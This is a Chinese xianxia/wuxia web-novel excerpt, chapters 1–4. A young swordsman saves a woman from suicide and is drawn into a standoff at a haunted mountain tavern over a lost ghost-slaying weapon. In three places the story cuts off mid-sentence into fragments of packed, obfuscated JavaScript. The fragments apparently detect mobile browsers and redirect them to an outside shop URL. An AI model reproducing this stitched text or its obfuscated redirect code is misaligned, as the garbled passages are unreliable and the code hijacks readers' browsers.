《暴打一个病秧子》 1. 不寰鸟(一) 周盈忍不住又打了个哈欠。 午时入的山,现在应该已经是黄昏了。 他是瞒着师父出来的,算是离家出走。要不是一路躲躲藏藏,也不会昏了头,一头扎进这深山老林。 眼瞧着天色渐晚,山上平白聚起丛丛雾霭。立马扭头下山,找个正经店家饱腹一顿、再往软乎乎的大床上一躺才是最英明的决定。 可……周盈心里叹了口气,视野再次盯回十步外。 白色的雾团里有棵无比巨大的树,坏就坏在这棵老成精的树,平白长这么高做什么,上吊都嫌麻烦。 树下一道颀长的倩影翻过来移过去,将在周遭能找到的,稍微大点的石块、枯木搭房子似的一点点摞高。 树枝下荡荡悠悠悬着一截白绫。 这姑娘是真想上吊啊! 周盈无数次觉得纳闷,找棵矮点的树不是更快些。既存死志,又何必死前还劳心劳力折腾自己? 周盈叹了口气,好死不如赖活,这最简单的道理自己苦口婆心都讲不通,其他的多半半点听不进去了。 将石块叠得半人高又能保持不倒可是个难事,得找大小相当的物什不说,摞上去偏一分,歪半寸都可导致这“凳子”顷刻瓦解。于是,周盈陪她从正午一直磨蹭到黄昏。 瞌睡一起,脑子就不听使唤,再打个哈欠,眼睛都叫泪渍遮住了。 轰—— 噼里啪啦一阵声,重物坠地,震得周盈魂飞天外,瞌睡彻彻底底醒了。 这女子居然成功了! 周盈从地上弹起,脚下趔趄,几乎摔到树下,然后冲那悬空晃动的影子大喊:“死人了,救命啊!” 这里当然不会有人,周盈得把气氛做足,全了女子赴死之心,更得让她知道这条命是多么宝贵。 又细又白的脖子叫白布勒住,双脚悬空不停蹬着,女子喉咙里边儿发出幽幽呜咽之声。周盈伸出右手,两指一并,以气化形,瞄准三尺白绫—— 咚! 躲得不及时,女子不偏不倚砸在身上,周盈痛痛快快当了人肉垫子。 女子一回过气,呜呜咽咽哭了一阵,大喊大叫:“别拦我,要我死!” 话音刚落,真把周盈狠狠一推,又去蹬石凳。 周盈深深叹道:“你这又是何必!” 姑娘猛然回头眼泪汪汪,尤其那眉间红痣衬得她楚楚可怜,红唇一咬:“你不懂!” 周盈扶额,真想冲天大喊:“我是不懂,一个见到富贵千金抛弃糟糠之妻的狗男人有什么可留恋的?一个在话本子都被写烂的狗血桥段为什么偏偏让自己遇到!他一个十九未满的少……年为什么要来当人生导师!” 心里是这么想的,真开口又不能这么说。周盈尽量让自己耐心、可靠,温声细语地说:“姑娘啊,天都快黑了,山上贼人多,要不明天再来。” 姑娘目光愈加坚定:“天黑了好,等那狗东西下山,看我吊死在面前,要他后悔一辈子。” 这姑娘真就魔怔了,周盈终于知道那句话“艺术自有它的现实来源”是什么意思。 再这么僵持下去也不是办法,绕着大树转了几转,周盈忽道:“人在山上啊,要不我去收拾他一顿!” 姑娘大喜:“你给我杀了他!” 狮子看见猎物似的,两双眼睛热烈无比盯着周盈身后的洁白短剑。 “不不不不!”周盈连声拒绝,心道,“这姑娘对自己舍得下手,对人也够狠啊!” 分明是一尊活祖宗! 周盈于是想了个折中的办法,商量道:“要不我去扇他两耳光,保准你在旁边听得清清楚楚、痛痛快快。” 姑娘眼神一阵思索,道:“他旁边还有群狐朋狗友,你以一敌多,不是对手。” 周盈一听这话,想:“莫不是想通了?” 姑娘灵机一动:“要不这样,谁敢拦你,你也给他一巴掌,打完了就跑。动作放快些,他们肯定追不上。” 周盈:“……” 女子眼含期待,楚楚动人地望着他。 周盈一咬牙,答应了。 几个巴掌而已,打的又是负心汉和他的……狐朋狗友,总好过姑娘芳魂归天。 于是姑娘说了个地方,殷殷切切望着他走了。 此地名唤三摩地。 位于众峰之巅,最接近天。日出日落都要跨过此地才到得了别处,故又最接近光与暗。 简单来说,就是一处三近之地,阴阳交接之所。 这种地方自然怪事连连,神出鬼没。 周盈手脚利索,走了百十步,寻条岔路依言右转,不出百米,绕到山的另一侧,果然见到家酒馆。 酒馆飘香,想来荒山野岭没什么生意,门边没点灯,只挂了个烂布招子。 上面隐约写的是“上家酒馆”,门内三五时传来几声,却没见光火,似乎暗暗应证了“偷鸡摸狗”四字。 干这事儿实在需要巨大的勇气,周盈在酒馆站了半晌,几次要生退意。临要调头走人,背后凉飕飕的,似乎有双眼睛在盯着。 于是,他终于下定决心,豁地把门一推。 昏暗中,几缕火光明灭不定,再来阵风就会连根儿扑灭。 酒馆歪歪斜斜摆了八九张短桌,四五人结伴凑在一桌。打头的俨然就是那女子口中的大胡子负心人,周盈冲上去,抬手就是啪啪两个巴掌! 本该闹哄哄的酒馆鸦雀无声,刺激无比的巴掌声一下把里面原本沉寂的东西激活了,几个声音在耳边依次炸开。 “妈的,是谁动手!” “怎么打人!” “滚出来!” 周盈两眼猛闭,他听力极好,这些声音把主人的位置暴露了个彻底。于是他抬手噼里啪啦又是一顿打。 响亮的耳光此起彼伏,热闹得跟过年似的。酒馆里的人比周盈预想的要多,一个个凑了过来,骂声、疑问声、吼叫声出现之处,紧接着就是一记响透云霄的巴掌声。 周盈这辈子还没打过这么多巴掌,一番动作后,掌心已发了烫。 待各种嘈杂的声音终于渐渐停了。周盈扭身欲走,忽然又个人靠近。 靠得极近极近,身上的酒味几乎要扑到脸上。周盈想也不想,啪! 又是一个巴掌。 被打的人好像也懵了——当然,在场之人应该没一个不懵的。 周盈扭头就走,却听见那人怯生生地说:“客官,我……我只想给您倒酒啊。” 周盈愣了一下,打错人了! 忘了还有店家。 就这么怔了一秒,哐当一声,门狠狠砸上。 偌大的酒馆中忽燃起支小小的蜡烛,火光照见一张苍老且带有愠色的脸。 显然是酒馆掌柜。 周盈方才那一巴掌,打的正是他唯一的独子。 门关上,这下可无法走得爽快了,周盈正准备挨骂,忽然一个声音指着老掌柜骂:“不是没蜡烛了,这不是?” 说话的是个瘦高个儿,离蜡烛最近,不知是天生的还是火光照的,一张脸蜡黄蜡黄的。 这蜡烛似乎是天大的事,一群被扇了巴掌的人居然无一人来找周盈麻烦,反而紧紧盯着蜡烛,眼睛不眨地盯着掌柜不偏不倚地把它放在所有桌子正中央的烛台上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796334|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 掌柜也有些心虚,要不是突然闯进个疯子,又不巧揍了他儿子,他担心这唯一的独苗出事,才不会把这唯一的蜡烛拿出来。 “原本没有了,好不容易才翻出一根。”他咬着舌头强调道,“最后一根了。” 于是,众人眼光又齐刷刷射向周盈。 周盈这才注意到,酒馆里边儿的人远远超出预计,至少三十多人。被几十双眼睛同时盯着,再厚颜的人也会脸红,周盈悄悄别过了脸。 烛光高照,将一个个人影拉得老长,乍一看就像屋里满满当当都是阴魂。 周盈这一下着实犯了众怒,然而刚才被掌柜这么一打岔,已经失去了报复的最佳时机。对方又是个脸嫩的少年,动起手来,倒好像是以多欺少、以大欺小。 故而,众人虽然有气,居然没对周盈群起攻之。 周盈想了想,对那不小心被牵连的掌柜儿子道:“对不住,打错了!” “妈的!”方才发声的瘦高个儿大怒,“合着老子活该是吧!” 周盈默默与之对视,权当默认了。 瘦高个儿意识到自己受到侮辱,一个箭步,撞得桌子板凳打架,桌上杯盏叮叮当当响,俨然要揍人了。 大胡子离他最近,伸手虚虚一拦。 周盈瞅见这个动作,他们不熟? 大胡子被打得最惨,周盈那两掌蓄满了力,又实打实带着惩恶的意思,下手实在不轻。即使火光昏暗,也能轻易注意到脸上几乎浸血的指印。 大胡子道:“小子,你可是自寻死路。” 众人脸色纷纷一变,不是愤,而是惧。 大胡子又说:“你无端打人,总得把话说个清楚,老子不受这王八气。” 周盈想了想,打都打了,气也受了,该叫他明白明白。 于是把那女子的遭遇说了一遍。 众人听了,眼神逐渐从周盈脸上移到大胡子脸上,瞧得他双脸更红。 不是羞的,是怒的。 大胡子拉着嗓子道:“老子只有一个媳妇,都死十年了!” 周盈一愣,刚才就觉得不对劲儿了,大胡子与那瘦高个儿看上去不怎么熟不说,毕竟一家酒馆同时来几拨客人也属常理。现在听他所说,怎么与那女子说的完全对不上。 周盈想了想,说:“可有人作证?” 众人你看我,我看你,居然没一个人站出来。 周盈讶异:“你们不认识?” 众人纷纷摇头。 周盈这下也是一头雾水,那女子根本与大胡子不认识,为什么平白无故诬陷他,还叫自己来打人? 非但如此,在场之人居然没一个认识大胡子,“狐朋狗友”也是骗人的。 这种偏僻的酒馆潦倒得招牌都破破烂烂,怎会同时来这么多人,既然来这么多人,怎地又连根再寻常不过的蜡烛都拿不出? 周盈越想越觉得奇怪。 周盈问:“你们来这里做什么?” 这下倒是轮到他们惊讶了,听到周盈发问后,惊奇得面面相觑,但这种惊奇又是心照不宣的。 显然,他们来这里的目的是一样的。 周盈隐隐察觉那女子是故意引自己来的,正要再问时,又一个人说话了。 他说:“公子不是为了阎王刺?” 周盈问:“阎王刺?那是什么?” 那人又说:“公子可曾听说过恶鬼?” 周盈彻底懵了,把头一摇。 那人长叹一声,说:“你看!” 循声望去,只见那紧紧闭拢的破旧木门上,血红的六个大字:“出门十步者死!” 2. 不寰鸟(二) 恶作剧般的几个血红大字,活像张狰狞的鬼脸,在黑黢黢的酒馆中格外吓人,众人每每抬头与之对望,脸便白上一分。 周盈终于明白,这些人群聚在此,分明天黑又不敢出门的原因,他们是忌惮那“恶鬼”。 周盈想了想,又问:“恶鬼是谁?” 瘦黄高个儿只觉得自己被愚弄了,阴阳怪气说:“小子,你几岁?” 周盈:“……” 周盈没想到他突然这样问,想说十八,但想想没几个月就是生日,便说:“十九。” 周盈有问必答,还答得如此实诚,瘦黄高个儿气不打一处来,半天才挤出一句话:“你看老子几岁!把老子当三岁小孩耍!” 周盈对这话更是一头雾水,因为这骂声显然不是针对他方才动手打人。 众人脸色发苦,避不敢答。反而是方才那人又说话了。 那人说:“公子可曾习武?” 众人纷纷望向周盈身后那把剑,那剑奇得很,这样昏暗的室内,居然隐隐有白光浮动,一看就知道是宝贝。 周盈实话实说:“学过几年。” 那人又说:“公子的授业恩师没给公子说过恶鬼?” 周盈道:“未曾。” 又想,师父提起的事他没理由会忘,现在他是真一点记不得,可见的确没说过。 终于,有人忍不住插了嘴:“修行之人居然没听过恶鬼,那你可曾听过十里槛,听过无忌公室?” 周盈对以上问题,皆答“不曾”。 瘦黄高个儿又牛鼻子哄哄地发话了:“你哄谁,连公室也没听过?” 周盈又要答“未曾”,方才一直说话的人带着难掩笑意,有些无奈道:“公子可真是……” 众人皆在心里接了一句“孤陋寡闻”。 周盈听出他没恶意,问:“阁下怎么称呼?” 那人道:“十八学士,叫我学士便可。” 周盈恭敬地称了声“学士”,又细细查问缘由。 十八学士道:“这事要从一百一十九年前说起。” 周盈知道要长篇大论了,酒馆足够宽敞,坐了三十来人还有余位,于是索性在他对面坐下。 一切要从两个预言说起。 公室位于南边的十里槛,世人对之推崇,比之吃斋念佛的和尚瞅见金身大佛不遑多让,无数人抢破头只为进公室当个守门的金刀卫。 不过,就这么简单朴素的愿望也是痴想! 原因不过四字,高不可攀! 一手创立十里槛的初代公室天生异能,凡其预言之事无不成真。这位公室大人在临死之前留下几个骇人听闻的预言,其中有两条一直为世人所遗忘。 或者说不是遗忘,而是自然而然忽略。 因为这两条预言真正应现,距初代公室身亡已经上千年。 第一条预言,提到了四个地方:十里槛、晴岚山市、罗刹海、十二指玉楼。初代公室说他死后,这其余三地必然出现,甚至可与公室分庭抗礼。 显然是警惕后人提防了。 每代公室短则几年,长则两三百年。 预言喧嚣一时,在第三代公室时终于被人抛之脑后。 然而—— 七代公室时,晴岚山市出现。 十代公室时,罗刹海又出现。 唯有十二指玉楼,至今不曾露面。当然,所有人都相信总有一天十二指玉楼也会出现在这个世界。 第二条预言,说世上必将出现恶鬼。 初代公室临死前神思疲乏,心情抑郁,这么重要的话居然只说了半截。何为恶鬼,恶鬼又会作出什么惊世骇俗之事居然一字未言明。 但只有一点,恶鬼,一共有九个。 十八学士道:“第十代公室,也就是无忌公室执掌十里槛之时,罗刹海突袭好几个城池。这些城池均不属于公室管辖,当公室接到消息,派人救援时,城中人全部殉难。” 周盈道:“恶鬼做的?” 十八学士斟酌一番,居然摇了摇头:“是玄冥帮。” “罗刹海有三煞,其中有个赤狐。这人是个大盗,手底下有个玄冥帮,里面的人性情残暴,好以杀人为乐,剽掠城池之时更会屠城。” 周盈听着不禁皱了皱眉,又问:“罗刹海与恶鬼有什么关系?” 这个问题似乎十分很难让人回答,十八学士停顿的时间比第一个问题的足足多了一倍。那瘦黄高个儿忍不住插嘴:“还能是什么关系,蛇鼠一窝。” 一个声音怯怯地说:“可不能这样说。” 说话的是掌柜儿子,他坐得离火光最远,精神好像不是很好,又常常低着头,不甚引入注意。 被这一直默不作声之人忽然一顿反驳,无异在众人面前被扇了巴掌,瘦黄高个儿当即急了:“恶鬼难道是什么好东西?操纵死灵祸世,不过杀人不见血,吃人不带骨头,与玄冥帮有什么分别!” 掌柜儿子性情懦弱,人又病殃殃的,被他高声一吼,又赶紧把头低下。 十八学士这时才缓缓开口:“无忌公室联合天下武者数次围杀却又几次失败。那恶鬼修为智谋都不凡,但能祸行一时,为害甚剧,却是别有依仗。” 周盈不由得竖起耳朵。 十八学士道:“那恶鬼在层层围杀下当场死亡,但过段时间又会再次出现,一次次被杀死,又一次次出现。即使挫骨扬灰,也不灭于世。” 听上去匪夷所思,却又是实实在在的事实,周盈不由一惊:“初代公室所说的恶鬼是指杀不死的人?” 十八学士道:“不是杀不死,而是会不断复生。” “人生下来有魂有体。” “活的时候,魂体合一。死了,魂体分离,宽阔大道,各走各的,生前有什么怨什么恨也是人死账消,再大的仇也到此为止。” “唯有恶鬼一次次复活、纠缠不休。” “非但如此,不知用了什么手段,甚至召集恶灵进行一次比一次更恐怖的报复。” 他神情严肃道:“从恶鬼出现,短短不到一年,死了五十六万人。” 周盈敏锐道:“最后杀死恶鬼的是阎王刺?” “是。”十八学士道,“无忌公室以阎王刺重创恶鬼,那之后恶鬼的确没再出现,一百一十九年了,应该是死了。” 周盈心道,恶鬼既然死了,这次怎又出现?这不是前后矛盾? 他想了想,说:“那墙上的字又是谁写的?” 这下轮到众人沉默了,说到底题下字的人又没自曝大名,这样一问倒显得他们缩头缩尾,胆小如鼠,被几个字吓得连门都不敢出。 十八学士问:“公子来之前没遇到或者听到什么怪事?” 周盈心虚地瞅了大胡子一眼。 那大胡子本来安安静静坐在那里,被她瞅得浑身不舒服,冷哼道:“看来你果真稀里糊涂什么都不知道。” 大胡子说:“边境四个村庄,上千个活生生的人,死得连骨头渣子都没了,你没听说?” 周盈居然摇摇头。 大胡子皱眉:“你还真是个冤大头。” 周盈回味过来了:“恶鬼干的?” 瘦黄高个儿说:“不是他还有谁?” 周盈说:“公室不管?” 瘦黄高个儿白眼几乎翻到脑门:“阎王刺都不见了,怎么管?” 周盈问:“那诸位来……” 大胡子说:“阎王刺就在这里。” “!” 如拨云见日,周盈一下弄明白了。四个村子死了上千号人本就骇人听闻,偏偏阎王刺又在这个节点失踪,稍微懂内情的人自然会往恶鬼身上联想。毕竟在他们眼中,恶鬼可以说是前科累累、劣迹斑斑了。 这些人不管是出于正义还是出于其他不为人知的原因,听说阎王刺会在这里出现,于是壮着胆子上山。没想到,又偏偏被门上几个字困住了手脚。 不过这中间还有个很大的漏洞,周盈问:“你们怎么知道阎王刺在这里?” 众人眼观鼻鼻观心,居然齐齐不作声。只有十八学士道:“掌柜,酒没了,再上些来。” 性命还悬着,此时自然没人有这个心肠喝酒。但掌柜开门做生意,客人叫了自然不能不应,于是应了一声,便摸黑去取酒。 偏偏这一句不知怎的提醒到了什么,瘦黄高个儿脑子一转,冲那病怏怏的掌柜儿子吼道:“小兔崽子,这玩意儿怕不是被你们偷偷藏起来了!” 掌柜病儿子一下被点名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796335|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质问,结结巴巴道:“没……真没瞧见。”他少与人打交道,连简单两句辩解都说得不利索。把酒馆开在这种偏僻的鬼地方又实在怪得很,在场人人自危,更没人愿意为他说话。 周盈想到方才自己误伤那巴掌,倒有些不好意思,便道:“他要真偷了阎王刺,早早跑了,怎会等到现在?” 这话也不全是维护偏袒,因为背后真要是恶鬼捣鬼,可真会死人。他要真拿了阎王刺,早早就溜了,又何必等到人越来越多,陷入绝境,走也走不得? 瘦黄高个儿最不待见周盈,听他回护之意,无理也要说三分。当即冷笑:“这鸟不拉屎的鬼地方,去和鬼做生意?我看你就是有鬼!” 这时掌柜取了酒过来,见自己的倒霉儿子正惹客人生气,连忙把他撵走,一边为众人斟酒,一边强颜欢笑地说:“客官稍安勿躁,我这儿子身体不好,病糊涂了,您别和他一般见识。来,喝酒,喝酒!” 众人哪有心思喝酒,倒是周盈饿了半日,此时唇干舌燥,抬起还有半瓶的酒壶,自斟了满满一碗酒,脖子一仰,便往喉咙里头灌。 “噗———” “好辣!好辣!”酒只到喉头,他吞不下,一口喷了出来。周盈咚地放下酒碗,只觉嘴里热开了锅,一张脸憋得通红。有人“啧”了两声,面露不屑。 这么一打岔,众人没再找酒馆掌柜麻烦,一个老头子,一个病秧子,还能翻出什么花? 然而,火光煊赫,红色蜡柱飞快变短,就像与死亡的距离不断也在飞速缩短。门上几个大字宛如一把刀横在喉头,进退不得。终于有人忍不住叫了起来。 “阎王刺一定在这里,肯定有人故意藏了起来!” 立即有人附和:“没错,我奉劝这位仁兄,关乎几十人乃至数百人数千人性命大事,切勿因一己私欲,铸下大错!如果现在拿出来,大家同舟共济一场,我相信绝不会有人计较!” 于是又有接连几声表明绝不追究。 然而,阎王刺若真落入囊中,要拿出来早就拿出来了,又何必等到现在?这一席话可想而知未起丝毫作用,反而把人心勾得更加不安。 瘦黄高个儿终于忍不住,豁地站起:“那人既然不顾我们生死,我们就不用顾忌他的脸面,直接搜,一个一个搜,非把人揪出来不可!” 这句话引得群起响应,众人都觉得是个办法,搜得到搜不到是一回事儿,但绝不能这样束手待毙! 于是,瘦黄高个儿从自己位置上站起来,将自己与周围事物隔开一段距离,抬起手,自证不会藏私,并且愿意接受搜查。 众人也有样学样,如是做了起来。 周盈不知在想什么,低着头没说话,更没同众人一起行动。幸好光线昏暗,大家忙活儿开,一时亦无人注意他这不合群的举动。 瘦黄高个除下外衣,随便上来两个人在众目睽睽之下检查,又前前后后、贴骨贴皮搜了身,确定他没藏私,成为第一个洗脱嫌疑之人。 于是在默许中,他便光明正大去搜别人。 屋里几十人一同忙活显得极为嘈杂拥挤,但真要搜起来动作却很快。不久,连掌柜和掌柜儿子都不得不接受搜身以自证清白。 没想到在掌柜儿子这里出了问题。 在他厚厚的夹袄里搜出了一把黑漆漆的匕首,锋刃仅一指长,甚至没开锋。但这私藏的行为激起了众人的怀疑。 瘦黄高个儿看见那把刀大怒不已:“小兔崽子,棉兜里边藏把刀要戳谁呢!” 他声音又高又尖,掌柜儿胆子小得可怜,这时居然被他吓唬得吭不出一个字!掌柜连忙来给自己的宝贝儿子解围:“荒村野岭,可怜我老头子与这傻儿子作伴,带把刀在身上,只想吓吓人。你看他这病歪歪身子,哪里敢和人动手。” 众人瞪了那病秧子一眼,周盈以为他们又要发难了,没想到只是把刀还回,轻轻把人放过。 周盈当即大疑:“这些人如何确定这不是阎王刺?” 想着,搜查的人已经大摇大摆冲他过来。 十八学士正与他相对而坐,瞧了他一眼,便自觉站起身,脱着外衣,慢悠悠接受检查。 谁知这衣服还没脱下,就听瘦黄高个儿尖嗓子怒呵:“妈的!一屋子人就你一个稀罕! 3. 不寰鸟(三) 众人齐刷刷盯着周盈,这臭小子实在好看极了,活脱脱一个小白脸儿,就是干的都不叫人事,落在脸上的巴掌至今还隐隐作痛。 瘦黄高个儿本来就看这来路不明的小子不顺眼,这下可被彻底激怒了,拳头硬得痒痒,当即一拳呼去。 周盈睫毛微微颤抖,俊美的侧脸在墙上投下道工笔画似的影子。 重拳击来不躲就是傻子,众人也没瞧见他是如何躲的,就见拳头与之擦肩而过,不沾半分。 紧接着爆出“嘭”的一声巨响。 瘦黄高个儿捂着拳头,龇牙咧嘴,痛得直冒汗。 手砸在了桌子上。 周盈这毫不配合的态度引起众人警铃大作,正在搜身的也不搜了,纷纷冲他围了上来。 人影排山倒海压下,周盈渐渐被逼到门边。 大胡子道:“人人都能搜得,怎么偏偏就你搜不得?” 周盈抬起头,一双亮亮的眼睛与他对视,说:“我不要。”他只说不要,却没解释的意思。 大胡子也被彻底激怒了:“臭小子,我就知道你有鬼,刚才一通鬼话差点儿把老子也骗了。” 气氛跟着蜡上白烟节节攀高,只差一个引爆点。 但谁也不愿意当出头鸟。 他们都知道这小子年纪虽轻,修为却不低。毕竟这玩意儿不是谁年龄大谁就厉害,那些真正万里挑一能成为修者的更是天才中的天才,无一不自小崭露头角,稍微大点就名扬一方。 资质是最无法伪装的。 显然,这小子资质不差! 更何况凭周盈方才露的那一手和身后背的那把不同寻常的剑,眼睛不瞎都知道他身后还有厉害靠山。以一敌多,固然胜券在握,但因此给自己埋下祸根却得不偿失。众人气他胡嘴乱说,却又不想对他出手。 大胡子想得清楚,语气放缓,说:“萍水相逢,若不是情况特殊我们也不会如此冒犯,你委屈让我们搜一搜,给众人个安心。要是东西真不在你身上,我一定给你赔礼道歉。” 这话已经说得十分忍让,尤其周盈不久前还扇了人家两个耳光。众人都以为他会顺台阶下,谁知道这小子油盐不进,顽固不化地说:“我不。” “给你脸了是吧!”瘦黄高个儿手上剧痛刚刚缓过来,又听周盈如此不知好歹,当即大怒,“老子告诉你,你有胆就走出这个门,没胆缩在这里,老子今天非得搜你一搜!” 周盈背过身,面对那几个血红大字,说:“我还是走好了。” 众人皆是一震。 然而他真已经抬手要去推门,俨然一副不知天高地厚的样子! 大胡子忽然用手一挡,硬邦邦地说:“不能让他走!” 众人愕然。 大胡子道:“如果阎王刺真在他手上,这下不是刚合他意!” 众人幡然醒悟,若这人故意耍这么一招,金蝉脱壳离开,没了阎王刺再不幸遇上恶鬼,留在屋里的人不是断了生路! 好险好险!居然险些被他骗了去。 几个人当即上前,死死守在门口,除非同意搜身,证明清白,否则一步不让。 周盈倔强如牛,与众人无声对峙,就是不肯点头。 血红蜡烛飞快燃烧,火光漂浮不定。 沉静片刻,十八学士忽然道:“诸位恕我说句话。” 这里的人相互都不认识,突然听见个声音凭空出现,目光四窜,忙去找说话之人。 十八学士四十上下,身子清瘦,好像一拳就能推翻,开口却中气十足。 他们不认识这人,却知道他与周盈不是一起来的,理所应当认为他们不是一路人。此时又需要有人打破僵局,于是也没阻止。 瘦黄高个儿退后两步,看着他。大胡子道:“请说。” 十八学士道:“诸位还是让这位公子离开。” 众人面面相觑,“嘘”了一声,表示不满。那瘦黄高个儿拳头已经握紧,一副随时要打人的样子。 十八学士视若无睹,淡定道:“恕我直言,诸位所求不过阎王刺,这东西究竟在谁手上也没个定数。何况告知你我前来那人恐怕也没什么好心。” 一阵无声后,一个声音道:“在不在我不知道,搜了才算数!” 十八学士道:“四村慘案闹得人尽皆知,阎王刺失窃除了公室之人却知者寥寥,明师坐镇十里槛,海若渊巡查四村未回,能最快得到消息又布下如此困局的,诸位想想,谁最有嫌疑?” 众人不约而同想起一个名字:恶鬼。 “今天你我都是为了阎王刺步入如此险境,那墙上六字岂非不是故意为之?” 众人纷纷醒悟过来,若阎王刺不在身上,放他走又如何。若阎王刺真就在他身上,恶鬼要找也会第一个找他。再不济,门上六个字困得他们几乎弹尽粮绝,他们忌惮恶鬼又没一个人敢以身犯险,不如让这不知死活的小子当个马前卒。 想罢,众人十分默契地退后几步。大胡子和瘦黄高个儿更是人精中的人精,哪里还能不明白,当即让道开路。 周盈感激地冲他望了一眼。 门豁然大敞,发出一声哑叫。外边儿天已经黑透,小道黑森森碧阴阴,见不到半个鬼影儿,只瞧得脚底发寒。 众人堵在门口,眼睁睁看着周盈迈出去第一步,脚尖落地时分明轻飘飘的,却好像有万钧之力踏下,搞得看热闹的人心慌不已。 周盈浑然不觉,他饿了好半天,再不找点东西填入腹中,胃都要烧穿了。他走得极快,前脚落下后脚紧接其后,脚尖点地,一溜烟儿跑得没影儿了。 待跑完第九步,他忽然两腿一收,落地瞬间,两只脚齐齐落在第十一步处。 几乎同时,十八学士稳稳停在他身边。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796336|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这时,周盈才自报了姓名。 十八学士问他:“你是在哪儿见到的那个女子?” 周盈与他原路返回,猛地发现,哪里还有姑娘,哪里还有棵树? 空空荡荡,分明空无一人,甚至那一摞他亲眼见着女子搬来的石块和树上吊着的的半截白绫也无影无踪。 周盈真觉得自己撞鬼了! 浓雾散尽,二人沿山道盘桓而下,山里边儿树枝光秃秃的,一路走来只依稀瞧见满地的枯枝败叶。此时已近中秋,本不稀奇,只有一点,那覆落的树叶下不时露出小小的土包,上面偶或还有残断的香。 香通常一烧到底,剩下不能燃烧的部分仍旧插进土里,只冒出土黄色的头,有道不出的凄凉。周盈觉得奇怪:“这路边怎地有些小土包?” 十八学士道:“土包?人死后尸体尽数化归尘土,也不枉你这一问。” 周盈闻言一惊,白天雾气太重还没注意,如今一路走来,每隔三五步就有一座,这山竟是一处巨大坟地。 周盈道:“怎会有如此多人丧生于此?” 十八学士道:“一百一九年前,无忌公室就是在这里擒杀恶鬼。” 放缓脚步,周盈盯着又瞧了半晌。 这些荒坟,一部分上面会有焚烧过的冥纸,或者点到一半的蜡烛,有的上面残留淡淡的灰迹,似乎是被突如其来的秋雨截断了燃烧。然而已经烧成的灰烬又并未全部冲刷干净,留下一星半点的痕迹,让人浮想。 周盈问:“这些坟上为何都没记墓主名字?” 十八学士道:“死的人太多了,交战的武者、枉死的山中百姓,死后无人收尸,年份一久,土一层一层堆下来,堆得厚了,就成了小土堆。” 他叹口气,说:“即便真有有心人为之收埋,暴乱过后,尸身面目血肉模糊,哪里辨认得出来。” 周盈看着那些残留的香蜡痕迹,胃中一阵痉挛,火辣辣地似火烧,脸白了白,忍着没呕出来。 十八学士作势要扶他,周盈摆了摆手,又把身子站直。 他道:“既无收尸人,又是谁来拜祭?” 十八学士侧目道:“许是些过路人。” 话甫落,阴郁的树林中凭空出现一个模糊身影。那身影乍然出现,与刚站直的周盈视线刚好对上。 周盈愣了愣,只见这人头脸用一块黑布裹得严严实实,就是……就是那双眼睛瞧着有点熟悉。 胃的灼烧感连累脑子也不清醒,周盈平白无故觉得熟悉,一时间却想不起究竟何时何地见过这人。 这副模样被人迎面撞见,是个人都很难不心虚。因此这人瞧了瞧周盈,又瞧了瞧十八学士,纠结一阵后,竟似做贼一般迅速窜开,径直向山下疾奔而去,只留给两人一道辨不清的虚影。 人逃我追,周盈擦了把冷汗,忙冲着那道不明的身影追去。 4. 不寰鸟(四) 周盈早已追出数步,十八学士似才发现事情不对劲,迟了半拍,只好远远地跟在后面。 四野俱静,幽幽山林中之间三人迅捷的身影先后错步而过。眼见要跟丢时,那道远去的背影却稍稍放缓了脚步。 这微妙的变化自然逃不过周盈的眼睛,他更觉奇怪,忍不住开口:“且慢!”话一出,心中却后悔与他白费唇舌。 怎料那神秘身影听此一言,步法竟有一瞬停滞,周盈得寸进尺,想着趁机劫住来人。 那人似乎察觉他的想法,与周盈只相差不到三五丈距离时,忽然再次转换步调,时快时慢,一点地,一迈步,又走出数十丈,竟完全不受山势限制。 来人步法诡异无声,周盈心道,今天真是频频撞鬼! 一番角逐,不过半刻时间,前者来意不明,后两人又决心追赶,竟已快到山口。周盈见人就要逃走,沉默之际,当机立断,瞬发一道掌气。 这道掌气只在阻止,不在取命,虽非夺命招数,却极其迅捷。静谧的山里突然草木摇动,持续响起了沙沙声,掌气所经之处,片叶调落,被掌风裹挟着,一瞬间便飞出数十米远。 然而,在掌气就要击中一刻,那人反手一挡,轻易化解了。 周盈见那人反应之快,惊愕之下,人已经要逃出这座山。他心道不妙,欲蓄力再发一掌时,在离山口还有两丈的地方,那人竟然凭空消失了。 二人前后到了来人消失的山口,向前一探,出了山,地势趋于平缓,视野也开阔许多,却不知那人究竟逃向了何处。 十八学士离那人稍远,看得不如周盈真切,问道:“这人可是今天酒馆里的?” 周盈道:“没看清脸,但应该不是。”再回想起那人飘忽的身法,又道,“酒馆中怕是没人有这样的脚力。” 